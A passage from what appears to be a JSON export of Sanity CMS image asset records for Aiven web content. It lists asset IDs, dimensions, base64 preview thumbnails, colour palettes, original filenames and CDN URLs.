ERFsmGr9ET/8KvQOX6Y5foltbpktbJth1Fqd7ErOtKjVF0jvEMl/oy3yklF7n03CQvyMH+XG0jvlQH+HOOeKDq6SOrpEevsrgsWskM2sM7NKbvIIUnKfBmd8Vpt4YwtjQDoXEKu+GZP6c1IX1zAV78HiLtIcqKJ0V5HAFv7qIX10yUNRF2jsWaPZOU2/PVYWSeg9/7zPk7ockQhdY78vw/lgv2+kYWWUQsXUc0TeLxz+H2z9nnAaBMm3yLI7WCSzOcWPkQ9YsJpe0hqjcRJA38PrWSEVvcGboPiOJDcLyAq1SiUBkiXDsPOHoeePuDZTx+Mu0KbM42iaxuM7sB2Nq9l1HULZoUTYRlA301NXUBzoSrxGUdVyeanf6nnSRIJX2023UceaxOPPU2XPVDj3BLXzhu/hCm0iBawQjm0QTT4hojxB9qzQ4CtQ7cjQ48gb1jurjuqYx7I4sHjGPW5rG5Z4yaqZMtMJofJ5C/zST8dOUkyNcHJ5gKjlFR3uew7bs/h/TO9DTtIsTONsmaZcmiIZmCKsVRN+MUTPdPq7yeCTAy7zEh4LI15KT7+UWHpwKoMlHMFtHqbVmOWStCvUu9I9tF4sI3ikkZcY49RXowZg+F5v4VrLwc8HMr3M1/Fk5wO+VGrZH3USlDLWNe7KqcA+zNWsEoY9v/m+KfxFpgpxJJ1T0AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34395b","foreground":"#fff","population":0.48,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":40.86,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":40.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#989dc3","foreground":"#000","population":0.91,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e98633","foreground":"#000","population":0.09,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae5755","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9700a","foreground":"#fff","population":1.77,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"NYC of Slide Template.png","path":"images/sczeoy4w/production/e6500887024fc14f42e7c9e1c6a707546af8c690-960x540.png","sha1hash":"e6500887024fc14f42e7c9e1c6a707546af8c690","size":181606,"uploadId":"cFFJ8R7Ezi82L9367KBmxzmVNVljAFR4","url":"https://cdn.sanity.io/images/sczeoy4w/production/e6500887024fc14f42e7c9e1c6a707546af8c690-960x540.png"} {"_createdAt":"2024-03-11T07:47:48Z","_id":"image-e65abe096ffa8d9f81d1e1ab56d50e7da34195b9-1680x1310-jpg","_rev":"L3boCkkiM9On4ApfxLdrz2","_type":"sanity.imageAsset","_updatedAt":"2024-03-11T07:47:48Z","assetId":"e65abe096ffa8d9f81d1e1ab56d50e7da34195b9","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VDQ]yn8_%$_N.9H?RQtQo}xvJWoIVsWF%1K6NGs:$%t6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.282442748091603,"height":1310,"width":1680},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAQABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAMFBAf/xAAiEAABBAIBBAMAAAAAAAAAAAACAQMEBQAREhMVITEyQWH/xAAWAQEBAQAAAAAAAAAAAAAAAAADAQL/xAAYEQADAQEAAAAAAAAAAAAAAAAAARESQf/aAAwDAQACEQMRAD8A7dfUdtMtCkQ7VyM0ukEBTwmUYUGw7UcSXPPrfUgfli7aoZm2BGVjNYNUTTbR6HKdTA7fFVnruv8AnfJ0uRYjvGXSkaNTDatsgBGRqKaUl9r+4YzDNBn/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#31374e","foreground":"#fff","population":0.53,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131d5e","foreground":"#fff","population":1.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131d5e","foreground":"#fff","population":1.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a1a7cd","foreground":"#000","population":0.49,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4b46c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f7e65","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3404","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"diagram-aiven-on-google-cloud.jpg","path":"images/sczeoy4w/production/e65abe096ffa8d9f81d1e1ab56d50e7da34195b9-1680x1310.jpg","sha1hash":"e65abe096ffa8d9f81d1e1ab56d50e7da34195b9","size":115225,"uploadId":"OYD0WYxqn5Ab8WTKAgIvd8fxBv215Ueq","url":"https://cdn.sanity.io/images/sczeoy4w/production/e65abe096ffa8d9f81d1e1ab56d50e7da34195b9-1680x1310.jpg"} {"_createdAt":"2023-06-26T06:44:48Z","_id":"image-e67a4a7023589fe40f8ac000f39a0faf50bfac49-256x256-jpg","_rev":"GEwcjZ4hpY0RnpIR8IxBid","_type":"sanity.imageAsset","_updatedAt":"2023-06-26T06:44:48Z","assetId":"e67a4a7023589fe40f8ac000f39a0faf50bfac49","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eHB5o%xuRnkEItohfQazazaz0BRnt3azxpWaazj@j@oK~Mt3Rnj@N1","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":256,"width":256},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAIEBv/EACIQAAEDAwMFAAAAAAAAAAAAAAABAgQDERIFBiEVQlFicf/EABgBAAMBAQAAAAAAAAAAAAAAAAABAwYH/8QAHhEAAgEDBQAAAAAAAAAAAAAAAAEhAgOhEhMiMVL/2gAMAwEAAhEDEQA/AIwfhni7Hzbgk6SNuZI2kR4bIVJzqd7uel0d9QlNzqiovTYXHodK3b08MmU0UesHOg06hLWbKdWWmylftYlkQF021JN9wZgAMQAAAf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#023596","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#022e82","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4484fc","foreground":"#fff","population":83.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aec3d0","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8cc5fc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5579b5","foreground":"#fff","population":0.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4484fc","foreground":"#fff","population":83.06,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"0b0b5a3e-e16d-409d-b4ae-c177129a7db6_1_63e6107e148e7.jpg","path":"images/sczeoy4w/production/e67a4a7023589fe40f8ac000f39a0faf50bfac49-256x256.jpg","sha1hash":"e67a4a7023589fe40f8ac000f39a0faf50bfac49","size":6023,"uploadId":"hOFBMxrukkftRKrwflfpkakKl9FIhrFu","url":"https://cdn.sanity.io/images/sczeoy4w/production/e67a4a7023589fe40f8ac000f39a0faf50bfac49-256x256.jpg"} {"_createdAt":"2024-03-28T11:08:55Z","_id":"image-e697b3786c20ecbf855dd17828bff98ca5a13bf1-1980x1114-jpg","_rev":"ZL6I8uoKFddu0pxJd9BeVf","_type":"sanity.imageAsset","_updatedAt":"2024-03-28T11:08:55Z","assetId":"e697b3786c20ecbf855dd17828bff98ca5a13bf1","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHF$8[%fRjt6%0~MM|D%Rjxut8ofbJRkRl","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7773788150807899,"height":1114,"width":1980},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQHAwX/xAAgEAACAgMAAgMBAAAAAAAAAAABAgMRAAQFBiESEyJR/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgMF/8QAHREBAAIABwAAAAAAAAAAAAAAAQAEAwUREiFRYf/aAAwDAQACEQMRAD8AUM21qSRR87aeFlq0ulAOdDudXobQhEe5Sr+WH2XeKeZADgMQACUPsCjkg8enlXtCpHr4/wBzNaoO1ZUxNeZROz0Z9XaWNZSpEYJo37wzGeGORw0ihjQ9nDEZcdxljyf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#685e37","foreground":"#fff","population":5.48,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#514913","foreground":"#fff","population":5.47,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ac9a50","foreground":"#000","population":6.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ddd7c9","foreground":"#000","population":1.98,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d2c7a1","foreground":"#000","population":5.36,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#99955b","foreground":"#fff","population":2.48,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac9a50","foreground":"#000","population":6.03,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"gondoliers-social-new.jpg","path":"images/sczeoy4w/production/e697b3786c20ecbf855dd17828bff98ca5a13bf1-1980x1114.jpg","sha1hash":"e697b3786c20ecbf855dd17828bff98ca5a13bf1","size":440900,"uploadId":"U2yxB1O5ulKGfirRhg4t9rgJM4yVUa58","url":"https://cdn.sanity.io/images/sczeoy4w/production/e697b3786c20ecbf855dd17828bff98ca5a13bf1-1980x1114.jpg"} {"_createdAt":"2022-07-27T13:55:31Z","_id":"image-e69de91c5708b19a5024d18b147eb3b17ceea977-1000x523-png","_rev":"x83dEXgiBTsn0wDtGtB2ov","_type":"sanity.imageAsset","_updatedAt":"2022-07-27T13:55:31Z","assetId":"e69de91c5708b19a5024d18b147eb3b17ceea977","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MRHTnGgjrlV:OU1BnVkiJAw39ZR#I=-DS#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9120458891013383,"height":523,"width":1000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAADNUlEQVQokQEqA9X8AGOX/wBlkfsDZI79BmKF/gN4a9YBk4WuAWdz8g1kZ/Q2Y1zzb2JP8pliQu6hYDXnh1sr1VJNJZ4iKDBRFRdDgyARTKMZCU+7BSFgowAPTqYAAGeW9gBkjvsOZon3I2h48SNkZPQcX2f8IWJp+FNjZ/afY1/00WNS8uRfRODnVTey3UUrgb0xI02QIiEpgB0nM4IhNE1VQFhkFf//AABALRoAAE+Z/wBnj/kSfojSN5V3qUiJarlRcWzgcWlm67dlYfHuY1/0/mJU8v9jTM//Ykt//1NDSPk7NDXsKioq6CQpL900QUiahYlMP//nFA0AAAAAAADh/wB5l+wKtYmCKdh7Q1C5eHF+jXq4vn5xzPB2ZNb/al/o/mhZ6f1zWrr9f2Vm/ndiOf9ZUDr/QT88/zM7SPdHWmPMophPg/i5FTL/ewAFAP8AAACrr84C8IoxEPSAGje/hWyJkYm13oeDxP2Mdrr+hG7I/oJqx/+CZZj/cVxX/mJTN/5SSjr+RENA/jpFVvtOYXntpYtXxfCZGGz/fgAUAP8AAADHr4cB/5cABNaPSiCclKd+f5PV4oGM0f+Xh7L+pYqs/KqNpvqTe4f7aF9h/lBOSf9GRkL+REE+/kZETv1aXHj9n3lg5+aDH4f/ewAZAP6yFwL4rx4P/6sLIOikND+uno2IlJi00ZqPquKvjY7YwJqLycKnmb6qnpnEk4yO3Yx8ffWGa2n/iVxQ/5BWR/+NX2P+om1g09p1Kmb/dwANAP6zFwX+sBcg/6wTQPimHFjeoENuyZpgfcWRX3jEi1ppwpNpWrmlkVKwr65ZvqWle86Jh7TUcWjh3mNI8uJfNe/SYz3TwmpHiNVvLyz/cwACAP6zFwP+sBYS/60UIf6nFCT9oRMg95oWGtGMMheZf2QUk4l+EqigjhO2s6IT25WKHvBnYUX4V0d6/VY0l/9bJ5D5YSFn72giLehuIQcAyf8AAP+0FwD+sRYA/q8WAfu2HAD/nQAA/6AAAP/FAAAAnv8Ao97/Ae7bmwL8yFMB2QAAAPYiFQX8QCwT/E0rHvtWJRv/XBsN/2IAAgBT/wDrZSMAtKSIpKkQbqQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#59492b","foreground":"#fff","population":0.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#63430b","foreground":"#fff","population":1.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#63430b","foreground":"#fff","population":1.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cec5aa","foreground":"#000","population":0.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#71b5fa","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5a5d9c","foreground":"#fff","population":0.63,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#047cf6","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"laptop-wave-out-of-screen.png","path":"images/sczeoy4w/production/e69de91c5708b19a5024d18b147eb3b17ceea977-1000x523.png","sha1hash":"e69de91c5708b19a5024d18b147eb3b17ceea977","size":173288,"uploadId":"cP9wZDxjaFAjwGUp50PcMEtIvDZE9Wyf","url":"https://cdn.sanity.io/images/sczeoy4w/production/e69de91c5708b19a5024d18b147eb3b17ceea977-1000x523.png"} {"_createdAt":"2022-06-15T20:01:45Z","_id":"image-e6a47ff7abdf0e44807ee37b756c4dfce251021b-1200x628-png","_rev":"QRl2cGoCgj0FlAhkRrhYwK","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:27Z","assetId":"e6a47ff7abdf0e44807ee37b756c4dfce251021b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MORLtzr?Tdm,T{*0iwV@XSX8u4XTNGnOVs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAACIElEQVQokQXBaVPaQAAA0Pz6zvRwOrZVO52xRQqlWsQiaADlEg+UQwE1EEKSzUGy7J0Yufqh70kqXugagPIRyyTJwwPCnIXzcL6cr9avq39MRNwESFHGiqJNDEQECVeeWDliBfhSstjS1QEuHIrDn/zqknT6pKeQKQzC6IVyClw+0oLhCI9UrGrCsLmHCYtYtOKva4lGS+Y6opx9ScfC/HGQStP9LHx4Ij4W6oTXr0WpElZqYbUeVOqi1hD955DwaLGO5mspjObBZBgU0+Hv3TCxF+wlWCY/6w7gUMM3LZov0OwJy8n8+JSflGihzJvtANghD4NoKXEh+KDF5X3+J87jP1g6g2tXqP8Eb+6m8pmfzcO8DOWinzv1czKUz1C5Tm5aVLeYeJW8GYJPPZxL0cQOi++y3Rg5+ItaXa//CO665nXTqpfNalEpnw9KZbV+6dy2p+17b6xDRCUDAPDY87JJktji2QORTLFUGnV7jmkbimY2O3blzKqcjqrFfrkwbFTMftfWVBeYvutItm05/Y6fieHkDqsW2e0tbbeRMXENc3p+ST/Fgvfb4da2+P6ZxjdIcgOW9i2l5wJ9BiYSnKGZPsb1AikewW7LNw3sAAIdZBm0VIk+fF282Vxsfll++7jcezf/9ZaXkt7wfmrp0NCkGWYIYWJb2Jh4AExti/p2iF0BLTZ+ZrfX/OqCNxuidSG6NTFoiEmHuipy9Zmp/gccrvY/9X6HEAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414343","foreground":"#fff","population":0.57,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f3504","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bfd7d4","foreground":"#000","population":0.86,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfd7d4","foreground":"#000","population":0.86,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fca46c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a56461","foreground":"#fff","population":0.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6680b","foreground":"#fff","population":0.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e6a47ff7abdf0e44807ee37b756c4dfce251021b-1200x628.png","path":"images/sczeoy4w/production/e6a47ff7abdf0e44807ee37b756c4dfce251021b-1200x628.png","sha1hash":"e6a47ff7abdf0e44807ee37b756c4dfce251021b","size":262558,"uploadId":"5gnUBmRVTADibQvXAEv6gzo52QTe7FMf","url":"https://cdn.sanity.io/images/sczeoy4w/production/e6a47ff7abdf0e44807ee37b756c4dfce251021b-1200x628.png"} {"_createdAt":"2023-11-01T09:34:22Z","_id":"image-e6f96e1f88273999bb8d6c820cf517c245488d13-1579x628-jpg","_rev":"URGvS4Je6KJVSLklv6lH7z","_type":"sanity.imageAsset","_updatedAt":"2023-11-01T09:34:22Z","assetId":"e6f96e1f88273999bb8d6c820cf517c245488d13","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D05gec}U0OR*O={znO1Kw]-O","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.5143312101910826,"height":628,"width":1579},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAIABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAQFCP/EAB0QAAICAgMBAAAAAAAAAAAAAAECAAMEERIxQSL/xAAVAQEBAAAAAAAAAAAAAAAAAAACA//EABkRAAMAAwAAAAAAAAAAAAAAAAABIRESE//aAAwDAQACEQMRAD8AzdUtKY55lWYMOu9SRk3YTmtaa+A39eRElonS/RqFe1YLEraAPIiI6HCP/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c3444","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#572307","foreground":"#fff","population":5.31,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#572307","foreground":"#fff","population":5.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#814f17","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eabf8e","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#845f46","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#885419","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"bg-event-audiences-watching-screen-crabs-dancing (1).jpg","path":"images/sczeoy4w/production/e6f96e1f88273999bb8d6c820cf517c245488d13-1579x628.jpg","sha1hash":"e6f96e1f88273999bb8d6c820cf517c245488d13","size":63064,"uploadId":"rdPyEVx7kNme5PK7HJxpbJVkpFozi0nG","url":"https://cdn.sanity.io/images/sczeoy4w/production/e6f96e1f88273999bb8d6c820cf517c245488d13-1579x628.jpg"} {"_createdAt":"2024-07-30T08:19:30Z","_id":"image-e7101c4e9d5beb60b4a5c956ef7cc91f803aa4e5-1616x1452-png","_rev":"B04nz37LKozZFxwmhPYuVy","_type":"sanity.imageAsset","_updatedAt":"2024-07-30T08:19:30Z","assetId":"e7101c4e9d5beb60b4a5c956ef7cc91f803aa4e5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eJL|fhG^xZMw00GH}@OsM|n~01m,sSX8xaHXTx$jniI;00WAx^sps,","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1129476584022038,"height":1452,"width":1616},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#313460","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc2204","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#acb2bb","foreground":"#000","population":1.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acb2bb","foreground":"#000","population":1.63,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9ae6fa","foreground":"#000","population":0.07,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#957454","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f55109","foreground":"#fff","population":1.56,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-customer-service-chatbot-with-aiven-solution.png","path":"images/sczeoy4w/production/e7101c4e9d5beb60b4a5c956ef7cc91f803aa4e5-1616x1452.png","sha1hash":"e7101c4e9d5beb60b4a5c956ef7cc91f803aa4e5","size":72368,"uploadId":"alKhTU3fmmYSWLuYhvf0Kc03PB7wKkRS","url":"https://cdn.sanity.io/images/sczeoy4w/production/e7101c4e9d5beb60b4a5c956ef7cc91f803aa4e5-1616x1452.png"} {"_createdAt":"2022-09-07T11:39:44Z","_id":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_rev":"QRl2cGoCgj0FlAhkRqFjpT","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:44Z","assetId":"e7196743bdb72ecfdfadc1e773ff78971bb14c15","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADQ0lEQVQ4jVWU24+eYxTFf9N2ZCozhEq4cExGE+eKSlPHEjSElipJ1dR873paihIiEhdFNOICQ5yCUHGIonWIOnVUpk0cGxIJV27ciD/jWbKfd8+YfsmT7/2efO/aa6299ob8eB14E3gLeAw8YLiKkyxWWayzuMaFcRdGLBa4a2fIAnfgyf7MfdpFye8Bw+442+JBi/ctvrLY7cKTFrLYZLG+igtq4eh6D0ONzOb5gFFlKXhHez4xwb62+NDiBYvPLf6w+NlifxZ52YU1tXCM74RgezjgAHxHk3Fx7ZkF2JoqVlg8a/G7xccWj1pMWXxj8ZrFRRaLQuH/gLNeDBrgdclgqhZOsTjL4nWLT9LPEyzOsZoF+9KG0cMZag40AC9vnol3LK60WG3xaf4+v8nrGLO4y+LbtOeoBlhngQQ1GrKhPZ9msT2rv9G8Er9ZzLgwaXF6yny+9kom3HGkJwIwYjILWubOiAsrXHgim3HA4pALh5JpNGmnxbTFc431JAuDeWt1O2Ue09vaXYAutbghYlLjFB6yeNNir8We9HBVDf/6d5rkI6paTC6s4hKLcy2Oc8eIO45v1SPcpZ0rLK63uNFqz+MuLPa10Hzd2jdjvIr7W0QKe2vP4G6Lm9PsVy0+sthl8ZLFwzE1NYoNWmNimk6uYsybGSIjEj4ddGkZ+zUbMJ0525N+7c